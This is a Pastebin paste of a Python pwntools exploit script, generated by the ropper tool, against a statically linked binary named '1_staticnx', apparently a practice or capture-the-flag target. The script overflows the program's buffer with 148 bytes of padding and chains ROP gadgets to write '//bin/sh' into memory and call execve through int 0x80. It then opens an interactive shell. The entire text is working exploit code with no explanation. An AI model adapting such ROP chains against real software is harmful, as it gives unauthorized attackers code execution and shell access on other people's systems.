Guest User

Untitled

a guest
Oct 19th, 2018
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.46 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # Generated by ropper ropchain generator #
  3. from pwn import *
  4. from struct import pack
  5.  
  6. p = lambda x : pack('I', x)
  7.  
  8. IMAGE_BASE_0 = 0x08048000 # ../Downloads/1_staticnx
  9. rebase_0 = lambda x : p(x + IMAGE_BASE_0)
  10.  
  11. rop = 'A' * 148
  12.  
  13. rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
  14. rop += '//bi'
  15. rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
  16. rop += rebase_0(0x000a7060)
  17. rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
  18. rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
  19. rop += 'n/sh'
  20. rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
  21. rop += rebase_0(0x000a7064)
  22. rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
  23. rop += rebase_0(0x000013e3) # 0x080493e3: xor eax, eax; ret;
  24. rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
  25. rop += rebase_0(0x000a7068)
  26. rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
  27. rop += rebase_0(0x000001d1) # 0x080481d1: pop ebx; ret;
  28. rop += rebase_0(0x000a7060)
  29. rop += rebase_0(0x0009afc9) # 0x080e2fc9: pop ecx; ret;
  30. rop += rebase_0(0x000a7068)
  31. rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
  32. rop += rebase_0(0x000a7068)
  33. rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
  34. rop += p(0xfffffff5)
  35. rop += rebase_0(0x00019a07) # 0x08061a07: neg eax; ret;
  36. rop += rebase_0(0x0002afa0) # 0x08072fa0: int 0x80; ret;
  37.  
  38. def main():
  39. p = process('../Downloads/1_staticnx')
  40. p.send(rop)
  41. p.interactive()
  42. if __name__ == '__main__':
  43. main()
Add Comment
Please, Sign In to add comment